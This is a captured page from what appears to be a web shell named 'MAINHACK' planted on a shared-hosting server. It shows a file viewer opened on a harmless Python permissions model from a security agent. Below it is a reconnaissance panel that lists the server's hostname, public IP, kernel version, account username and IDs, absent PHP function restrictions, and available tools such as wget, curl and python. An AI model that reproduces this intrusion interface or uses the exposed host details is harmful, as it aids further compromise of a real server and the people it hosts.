[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: model.py
File is not writable. Editing disabled.
from peewee import CharField, Check, TextField from defence360agent.feature_management.constants import ( AV, AV_REPORT, FULL, LOG, NA, PROACTIVE, ) from defence360agent.model import Model, instance class FeatureManagementPerms(Model): """Permissions state for Feature Management. Each record/instance is a set of permissions of a single user. """ DEFAULT = "" class Meta: database = instance.db db_table = "feature_management_permissions" #: The username of the end-user, or an empty string for the default value #: for all new users. user = CharField(unique=True) #: How much the user can access and control Proactive Defense feature. #: Must be one of :obj:`.NA`, :obj:`.LOG` or :obj:`.FULL`. proactive = TextField( null=False, constraints=[ Check("proactive in ('{}','{}','{}')".format(NA, LOG, FULL)) ], default=FULL, ) #: How much the user can access and control Proactive Defense feature. #: Must be either :obj:`.NA` or :obj:`.AV_REPORT` or :obj:`.FULL`. av = TextField( null=False, constraints=[ Check("av in ('{}','{}','{}')".format(NA, AV_REPORT, FULL)) ], default=AV_REPORT, ) @classmethod def get_perm(cls, user: str) -> "FeatureManagementPerms": """ Get feature permissions by user name :param user: user name :return: :class:`FeatureManagementPerms` object for user """ default = cls.get_default() if user is None: return default defaults = { AV: default.av, PROACTIVE: default.proactive, } perm, _ = cls.get_or_create(user=user, defaults=defaults) return perm @classmethod def get_default(cls): """Get default permissions""" return cls.get(user=cls.DEFAULT) def is_default(self): """Check if current permission is default""" return self.user == self.DEFAULT def get_feature(self, key: str) -> str: """Get permission by feature name""" return getattr(self, key) def set_feature(self, key: str, value: str): """Set permission""" setattr(self, key, value) self.save() def as_dict(self): return { AV: self.av, PROACTIVE: self.proactive, }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.35 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: N/A